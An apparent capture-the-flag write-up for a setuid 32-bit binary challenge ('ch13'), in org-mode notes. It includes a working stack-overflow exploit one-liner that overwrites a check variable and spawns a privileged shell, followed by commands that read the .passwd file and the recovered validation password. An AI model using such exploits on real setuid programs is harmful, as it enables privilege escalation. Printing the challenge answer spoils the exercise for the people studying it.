** Findings (live target)
- Remote path: =/challenge/app-systeme/ch13=
- Binary: =ch13: setuid ELF 32-bit, dynamically linked, not stripped=
- Effective mitigations from runtime check:
- Partial RELRO
- No stack canary
- NX enabled
- No PIE
- ASLR OFF (on target host)
- Vulnerability: =fgets(buf,45,stdin)= writes up to 44 bytes into =char buf[40]=, overflowing 4 bytes into adjacent =check=.
- Target value: overwrite =check= from =0x04030201= to =0xdeadbeef= (little-endian bytes =\xef\xbe\xad\xde=).
** Working exploitation flow
- Basic trigger (proves control of =check=):
#+begin_src sh
python3 -c "import sys; sys.stdout.buffer.write(b'A'*40 + b'\xef\xbe\xad\xde')" | ./ch13
#+end_src
- To keep stdin open for the spawned SUID shell, use a pipeline with =cat=:
#+begin_src sh
(python3 -c "import sys; sys.stdout.buffer.write(b'A'*40+b'\xef\xbe\xad\xde')"; cat) | ./ch13
id
cat .passwd
exit
#+end_src
- Observed privilege in spawned shell:
- =uid=1213(app-systeme-ch13-cracked)=
- =gid=1113(app-systeme-ch13)=
- Retrieved validation password:
- =1w4ntm0r3pr0np1s=
** Helper scripts
- =helper_recon.py=: SSH recon script (pwd, ls, file, checksec, smoke run).
- =helper_exploit_password.py=: SSH interactive exploit script that keeps stdin open and reads =.passwd=.
